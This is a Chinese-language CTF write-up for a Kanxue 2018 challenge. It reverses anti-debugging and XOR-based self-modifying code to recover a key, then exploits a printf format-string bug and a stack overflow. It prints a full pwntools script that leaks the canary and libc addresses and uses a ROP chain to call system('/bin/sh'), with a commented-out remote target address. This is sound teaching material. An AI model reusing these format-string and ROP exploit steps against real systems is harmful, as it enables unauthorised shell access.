printf函数中的漏洞printf函数族是一个在C编程中比较常用的函数族。通常来说,我们会使用printf([格式化字符串],参数)的形式来进行调用,例如
chars[20]="Hello world!\n";
printf("%s", s);
然而,有时候为了省事也会写成
char s[20] ="Hello world!\n";
printf(s);
事实上,这是一种非常危险的写法。由于printf函数族的设计缺陷,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作。
下面以看雪2018CTF第3题为例,来说明怎样利用格式化字符串漏洞来读取特定内存地址的内容造成信息泄露。
checksec检查,结果表明可以发起got表攻击。
运行效果:
首先打印出来一首诗,不过没有什么用,输入一个字符串后就报错了
一般报错都是Illegal instruction什么的。
下面我们用IDA看看代码
test函数里调用了ptrace对程序本身进程进行trace,因为一个进程最多只能被一个进程trace,而像IDA、gdb等调试工具在动态调试时都是通过ptrace实现的,因此此时ptrace返回值(rax寄存器中)为负值,根据检测逻辑会执行sys_exit退出,从而实现反调试
解决办法:
屏蔽400749处的test调用(其调用了sys_ptrace,会引起退出)。
在返回后程序跳转到0x400818处,这里使用了SMC技术,部分指令被加密了。首先是调用了 mprotect 系统调用将 0x400000 开始 0x1000 长度的地址授予 rwx 权限;接下来调用 sys_read 系统调用向 bss 段上读入6 个 byte 的字符,read 完之后调到当前指令地址+5 的位置。
okay 字符读进去了,接下来的才是主菜。
有点类似压缩壳,0x40087f 刚好是退出循环之后的第一个指令地址,也可以看到现在的指令乱七八糟的。所以这里就有可能是根据传入的字符串,运行时对指令进行加密,就是这里异或的操作,如果输入的字符串正确,那么解密出来的指令也应该是正确的,就可以进入正确的逻辑,不然就会像开始那样 segment fault 或非法指令的提示了
跟踪程序发现流程如下
1. (40087F处的代码) xor sn[1],直到出现nop为止
刚开始以为sn[1]会异或40087F之后的所有代码,解码出来的代码段都有一些无法解释的指令。再三观察,发现仅用sn[1]异或40087F后的部分代码。
根据[40087F]code xor sn[1]=0x90 --> sn[1]= [40087F]code xor 0x90,sn[1]必为可输入的字符
因此,使用010Editor将40087F开始的代码与0x90异或,挑出所有可以识别的字符
大致判断解码出的代码段不会太长,从异或出的代码中选取’l’, ‘z’, ‘B’, ’P’, ‘J’, ‘e’, ‘u’等进行计算。
发现用’e’=0x65异或40087F处的代码,x64dbg可以识别
将异或出的代码从010Editor拷贝到x64dbg中
调用x64dbg的Disassembler识别
nop指令前的代码都能正确识别,且出现了[rax+rcx]。
依据上述方法,得出sn[1]=’e’
2. (400849处的代码) xor sn[1],长度为0x20个字符
3. (4008C9处的代码) xor (sn[1] xor sn[2]),同理可以推出sn[2]=’v’
后来发现一个规律,异或后的第一条指令为lea rax, [rax+rcx],机器码为48 8D 04 08。利用这条规律可以很快找出其余字符。
4. (400890处的代码) xor (sn[1] xor sn[2]),长度为0x20个字符
5. (400910处的代码) xor (sn[1] xor sn[2] xor sn[3]),同理可以推出sn[3]=’X’
6. (4008D7处的代码) xor (sn[1] xor sn[2] xor sn[3]),长度为0x20个字符
7. (400957处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4]),同理可以推出sn[4]=’n’
8. (40091E处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4]),长度为0x20个字符
9. (40099E处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4] xor sn[5]),同理可以推出sn[5]=’a’
10. (40095C处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4] xor sn[5]),长度为0x20个字符
11. (4009DC处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4] xor sn[5] xor sn[6]),同理可以推出sn[6]=’K’
12. (4009B3处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4] xor sn[5] xor sn[6]),长度为0x20个字符
得出:sn=evXnaK
看一下最后解码出来的代码, 代码有点长总的来说就是
•write(0,"wow",5)
•read(0,rsp,0x1a)
•printf(rsp)
•read(0,[rsp-0x20],0x100)
•mprotect 代码段不可写
前面基本上都可以说是在逆向,后面就是 pwn 的内容了,主要漏洞点在
printf 的时候直接打印了字符串,有格式化漏洞
然后后面 read 函数可以读 0x100 长度的字符造成一个stack overflow
漏洞利用
okay 找到了一个格式化和栈溢出,因为程序开了 canary,又没有给libc,所以攻击的思路是
•格式化泄露出 canary 以及 libc 的地址
•找到对应版本的libc, 计算system 地址
•直接 stack overflow,用pop rdi; ret指令的地址覆盖原来的返回地址,执行完retn后就能调用 system("/bin/sh") ,get shell
%13$p得出canary,%15$p得出lic_start_main的地址
问题:根据什么确定%13$p %15$p中的13,15的?
针对下面的图,%i$p返回第i个参数的数值。
回答:64 位函数的前 6 个参数是存储在相应的寄存器,其余参数才放置在堆栈中。因此除去第一行外,偏移应为1+6=7,2+6=8,…, n+6。所以%13$p输出偏移13处的16进制数据0x3f1fd542f2264700,%7$p输出偏移7处的16进制数据0x702435,%15$p输出偏移15处的16进制数据0x7f6fa3db6830。
lic_start_main=0x7f6fa3db6830-0xF0
libc_base=lic_start_main-0x20740
libc_system= libc_base+45390
在libc.so中找出/bin/sh所在地址
由于64位程序中第1个参数存放在rdi中,因此ROP时需要pop rdi, ret指令
exp
from pwn import *
context.log_level='debug'
env=os.environ
env['LD_PRELOAD']='/lib/x86_64-linux-gnu/libc.so.6'
r=process('./wow')
#r=remote('139.199.99.130',65188)
rdiret=0x400b23 //5F C3 poprdi;retn
r.sendline('evXnaK%15$p,%13$p')
r.recvuntil('0x')
leak=int(r.recv(12),16)
print "[+]leak: "+hex(leak)
r.recvuntil(',')
canary=int(r.recvline(),16)
print "[+]canary: "+hex(canary)
system=leak-0x7f823c89a830+0x7f823c8bf390
binsh=system-0x7f6157d2f390+0x7f6157e76d57
r.sendline('a'*88+p64(canary)+'aaaaaaaa'+p64(rdiret)+p64(binsh)+p64(system))
r.interactive()
漏洞利用流程:
对照下述代码,执行到400ABA后,RSP指向400B23,将rdi的值赋为’/bin/sh’所在地址;接着RSP指向system函数所在地址,从而使system(‘/bin/sh’)得以执行。
seg000:0000000000400A7F sar rax, 0Ch
seg000:0000000000400A83 shl rax, 0Ch
seg000:0000000000400A87 mov rdi, rax
seg000:0000000000400A8A mov rdx, 5
seg000:0000000000400A91 mov rax, 0Ah
seg000:0000000000400A98 mov rsi, 1000h ; mprotect将代码段编程不可写
seg000:0000000000400A9F syscall ; Low latency system call
seg000:0000000000400AA1 mov eax, 0
seg000:0000000000400AA6 mov rdx, [rbp-8]
seg000:0000000000400AAA xor rdx, fs:28h
seg000:0000000000400AB3 jz short locret_400ABA
seg000:0000000000400AB5 call sub_400590
seg000:0000000000400ABA
seg000:0000000000400ABA locret_400ABA: ; CODE XREF:
seg000:0000000000400ABA leave
seg000:0000000000400ABB retn